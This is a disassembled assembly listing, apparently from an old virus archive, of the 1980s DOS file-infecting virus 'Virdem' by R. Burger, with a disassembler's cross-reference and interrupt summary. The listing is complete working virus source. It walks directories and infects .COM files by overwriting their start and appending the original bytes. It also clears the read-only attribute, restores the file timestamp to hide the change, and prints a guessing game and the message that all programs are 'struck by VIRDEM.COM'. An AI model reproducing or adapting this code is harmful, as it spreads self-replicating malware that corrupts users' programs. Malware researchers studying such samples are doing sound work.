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Assembly Source File | 1992-08-05 | 23.4 KB | 488 lines

;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ VIRDEM ██ ;██ ██ ;██ Created: 16-Mar-87 ██ ;██ Version: ██ ;██ Passes: 5 Analysis Options on: QRS ██ ;██ Copyright by R.Burger 1986,1987 ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ data_1e equ 80h ; (8C04:0080=0) data_2e equ 9Eh ; (8C04:009E=0) data_16e equ 0F800h ; (8C04:F800=0) data_17e equ 0FD00h ; (8C04:FD00=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h virdem proc far start: nop nop nop mov sp,0FE00h push ax push bx push cx push dx push bp push si push di push ds push es push ss pushf ; Push flags mov si,data_1e ; (8C04:0080=0) lea di,cs:[3BFh] ; Load effective addr mov cx,20h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ax,0 mov es:data_5,ax ; (8C04:038F=0) mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) cmp bl,39h ; '9' je loc_1 ; Jump if equal inc bl loc_1: ; xref 8C04:012C mov byte ptr es:data_12+0Dh,bl ; (8C04:0422=30h) mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov cs:data_10,al ; (8C04:03E1=0) mov ah,47h ; 'G' mov dh,0 add al,1 mov dl,al lea si,cs:[3E3h] ; Load effective addr int 21h ; DOS Services ah=function 47h ; get present dir,drive dl,1=a: jmp short loc_3 ; (016D) db 90h loc_2: ; xref 8C04:0191, 01A0 mov ah,40h ; '@' mov bx,1 mov cx,34h nop lea dx,cs:[57Ch] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov dx,cs:data_6 ; (8C04:0391=600h) mov cs:data_17e,dx ; (8C04:FD00=0) jmp loc_12 ; (02E4) jmp loc_12 ; (02E4) loc_3: ; xref 8C04:014B mov dl,0 mov ah,0Eh int 21h ; DOS Services ah=function 0Eh ; set default drive dl (0=a:) mov ah,3Bh ; ';' lea dx,cs:[3DFh] ; Load effective addr int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx jmp short loc_7 ; (01C9) db 90h loc_4: ; xref 8C04:01D4, 01E7 mov ah,3Bh ; ';' lea dx,cs:[3DFh] ; Load effective addr int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov ah,4Eh ; 'N' mov cx,11h lea dx,cs:[399h] ; Load effective addr int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_2 ; Jump if carry Set mov bx,cs:data_5 ; (8C04:038F=0) inc bx dec bx jz loc_6 ; Jump if zero loc_5: ; xref 8C04:01A3 mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jc loc_2 ; Jump if carry Set dec bx jnz loc_5 ; Jump if not zero loc_6: ; xref 8C04:019A mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx add bx,1Ch mov word ptr es:[bx],5C20h inc bx push ds mov ax,es mov ds,ax mov dx,bx mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx pop ds mov bx,cs:data_5 ; (8C04:038F=0) inc bx mov cs:data_5,bx ; (8C04:038F=0) loc_7: ; xref 8C04:017B mov ah,4Eh ; 'N' mov cx,1 lea dx,cs:[393h] ; Load effective addr int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_4 ; Jump if carry Set mov bx,es:data_5 ; (8C04:038F=0) cmp bx,0 je loc_8 ; Jump if equal jmp short loc_9 ; (01E9) db 90h loc_8: ; xref 8C04:01DE, 020D mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jc loc_4 ; Jump if carry Set loc_9: ; xref 8C04:01E0 mov ah,3Dh ; '=' mov al,2 mov dx,data_2e ; (8C04:009E=0) int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov ah,3Fh ; '?' mov cx,500h nop mov dx,data_16e ; (8C04:F800=0) nop int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov bx,cs:data_16e ; (8C04:F800=0) cmp bx,9090h je loc_8 ; Jump if equal mov ah,43h ; 'C' mov al,0 mov dx,data_2e ; (8C04:009E=0) int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx mov ah,43h ; 'C' mov al,1 and cx,0FEh int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx mov ah,3Dh ; '=' mov al,2 mov dx,data_2e ; (8C04:009E=0) int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov ah,57h ; 'W' mov al,0 int 21h ; DOS Services ah=function 57h ; get/set file date & time push cx push dx mov ah,42h ; 'B' mov al,2 mov dx,0 mov cx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset test ax,8000h jnz loc_10 ; Jump if not zero cmp ax,500h nop ja loc_10 ; Jump if above call sub_3 ; (0380) loc_10: ; xref 8C04:0244, 024A push ax push dx mov ah,40h ; '@' mov cx,500h nop mov dx,data_16e ; (8C04:F800=0) nop int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx pop dx pop ax add ax,100h mov es:data_4,ax ; (8C04:02BD=0) add ax,500h nop mov dx,cs:data_6 ; (8C04:0391=600h) mov cs:data_17e,dx ; (8C04:FD00=0) mov es:data_6,ax ; (8C04:0391=600h) mov ah,40h ; '@' mov cx,38h nop lea dx,cs:[287h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx jmp short loc_11 ; (02C0) db 90h db 0BFh, 80h, 00h, 8Dh, 36h,0BFh db 03h,0B9h, 20h, 00h,0F3h,0A4h db 0E8h, 00h, 00h virdem endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_1 proc near pop ax mov bx,27h nop add ax,bx mov si,ax mov bx,es:[si] mov si,bx mov di,offset ds:[100h] ; (8C04:0100=90h) mov cx,500h nop rep movsb ; Rep when cx >0 Mov [si] to es:[di] popf ; Pop flags pop ss pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax mov ax,offset start push ax ret sub_1 endp data_4 dw 0 ; xref 8C04:0262 db 90h loc_11: ; xref 8C04:0284 mov ah,42h ; 'B' mov al,0 mov dx,0 mov cx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,40h ; '@' mov cx,500h nop lea dx,cs:[100h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,57h ; 'W' mov al,1 pop dx pop cx int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_12: ; xref 8C04:0167, 016A nop call sub_2 ; (036E) mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) cmp bl,31h ; '1' jne loc_13 ; Jump if not equal mov ah,40h ; '@' mov bx,1 mov cx,67h nop lea dx,cs:[404h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,0 int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx loc_13: ; xref 8C04:02F0 mov ah,40h ; '@' mov bx,1 mov cx,102h nop lea dx,cs:[404h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,2 mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) mov dl,bl int 21h ; DOS Services ah=function 02h ; display char dl mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dh=sec mov ah,0Ch mov al,1 int 21h ; DOS Services ah=function 0Ch ; clear keybd buffer & input al or dl,30h ; '0' and dl,bl cmp dl,al je loc_14 ; Jump if equal mov bl,dl mov ah,2 mov dl,20h ; ' ' int 21h ; DOS Services ah=function 02h ; display char dl mov dl,3Eh ; '>' int 21h ; DOS Services ah=function 02h ; display char dl mov dl,bl int 21h ; DOS Services ah=function 02h ; display char dl mov dl,3Ch ; '<' int 21h ; DOS Services ah=function 02h ; display char dl mov ah,40h ; '@' mov bx,1 mov cx,3Ch nop lea dx,cs:[507h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,0 int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx loc_14: ; xref 8C04:0330 mov ah,40h ; '@' mov bx,1 mov cx,37h nop lea dx,cs:[544h] ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ax,es:data_17e ; (8C04:FD00=0) push ax ret ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ; ; Called from: 8C04:02E5 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_2 proc near mov ah,0Eh mov dl,cs:data_10 ; (8C04:03E1=0) int 21h ; DOS Services ah=function 0Eh ; set default drive dl (0=a:) mov ah,3Bh ; ';' lea dx,cs:[3E2h] ; Load effective addr int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx ret sub_2 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ; ; Called from: 8C04:024C ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_3 proc near mov ah,42h ; 'B' mov al,0 mov dx,500h nop mov cx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset ret sub_3 endp db 0 data_5 dw 0 ; xref 8C04:0120, 0193, 01BE, 01C4 ; 01D6 data_6 dw 600h ; xref 8C04:015D, 026A, 0274 db "*.com", 00h db 2Ah, 00h,0FFh, 00h, 00h, 00h db 00h, 00h, 3Fh, 00h db "????????exe" db 00h, 00h, 00h db 00h, 00h db "????????com" db 33 dup (0) db 5Ch, 00h data_10 db 0 ; xref 8C04:0139, 0370 db 5Ch db 33 dup (0) db 'Virdem Ver.: 1.06' data_12 db ' (Generation 0) aktive.', 0Ah, 0Dh copyright db 'Copyright by R.Burger 1986,1987' db 0Ah, 0Dh, 'Phone.: D - 05932/5451' db ' ', 0Ah, 0Dh, ' ', 0Ah, 0Dh, 'T' db 'his is a demoprogram for ', 0Ah, 0Dh db 'computerviruses. Please put in a' db ' ', 0Ah, 0Dh, 'number now.', 0Ah db 0Dh, 'If you', 27h, 're right, yo' db 'u', 27h, 'll be', 0Ah, 0Dh, 'abl' db 'e to continue.', 0Ah, 0Dh, 'The ' db 'number is between ', 0Ah, 0Dh, '0' db ' and ', 0 db 0Ah, 0Dh, 'Sorry, you', 27h, 're ' db 'wrong', 0Ah, 0Dh, ' ', 0Ah db 0Dh, 'More luck at next try ....', 0Ah db 0Dh, 0 db 0Ah, 0Dh, 'Famous. You', 27h, 're' db ' right.', 0Ah, 0Dh, 'You', 27h, 'l' db 'l be able to continue. ', 0Ah, 0Dh db 0 db 0Ah, 0Dh, 'All your programs are', 0Ah db 0Dh, 'struck by VIRDEM.COM now.', 0Ah db 0Dh db 0 seg_a ends end start ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ seg:off type label ---- ---- ---- --------------- 8C04:0100 far start ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Interrupt Usage Synopsis ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Interrupt 21h : terminate, cs=progm seg prefx Interrupt 21h : display char dl Interrupt 21h : clear keybd buffer & input al Interrupt 21h : set default drive dl (0=a:) Interrupt 21h : get default drive al (0=a:) Interrupt 21h : get time, cx=hrs/min, dh=sec Interrupt 21h : get DTA ptr into es:bx Interrupt 21h : set current dir, path @ ds:dx Interrupt 21h : open file, al=mode,name@ds:dx Interrupt 21h : close file, bx=file handle Interrupt 21h : read file, cx=bytes, to ds:dx Interrupt 21h : write file cx=bytes, to ds:dx Interrupt 21h : move file ptr, cx,dx=offset Interrupt 21h : get/set file attrb, nam@ds:dx Interrupt 21h : get present dir,drive dl,1=a: Interrupt 21h : find 1st filenam match @ds:dx Interrupt 21h : find next filename match Interrupt 21h : get/set file date & time ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ I/O Port Usage Synopsis ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ No I/O ports used.